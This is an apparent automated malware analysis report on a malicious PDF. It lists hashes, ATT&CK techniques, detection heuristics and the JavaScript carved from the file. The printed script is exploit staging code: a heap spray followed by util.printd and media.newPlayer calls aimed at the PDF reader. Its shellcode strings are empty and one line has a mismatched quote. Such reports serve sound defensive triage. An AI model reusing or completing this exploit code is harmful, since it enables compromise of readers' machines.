Malicious PDF — malware analysis report

Static analysis result for SHA-256 90c92344c3217d4b…

MALICIOUS

PDF

911 B First seen: 2026-05-11
MD5: b8acc49000385e823ecfc89ba25ca4fb SHA-1: 0104c67e67697fb69b21b587183fc02ad60a2acd SHA-256: 90c92344c3217d4b47fe6f3605e15c86adc7806ca9ccd84c15fdcbb23c34258c
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that utilizes the unescape function and performs a heap spray. This is a common technique used to prepare memory for shellcode execution, indicating the file is likely a dropper or exploit loader. The specific exploit cluster and heap spray behavior suggest a client-side execution attempt.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var Wo = unescape("");
var yR = unescape("");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x156 498 bytes
SHA-256: fb85c1a5f2ebfc06fa4db2a5fe6504946f2a4a9ef00bb46803112d0f22d1fcef
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Wo = unescape("");
var yR = unescape("");

while(yR.length <= 32768) yR+=yR;
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo;
	i++;
}

util.printd("1.3456789"+"01.345"+"678"+"901.34"+"56 :"+" 1.31.34", new Date());
util.printd("1.34"+"5678+"901.345"+"678901.3"+"456 : 1.31.34", new Date());
try {var ob = this.media;
ob["new"+"Pl"+"ayer"](null);} 
catch(e) {}
util.printd("1.3"+"4567"+"8901.3"+"456"+"78901.3456 : "+"1.31.34", new Date());

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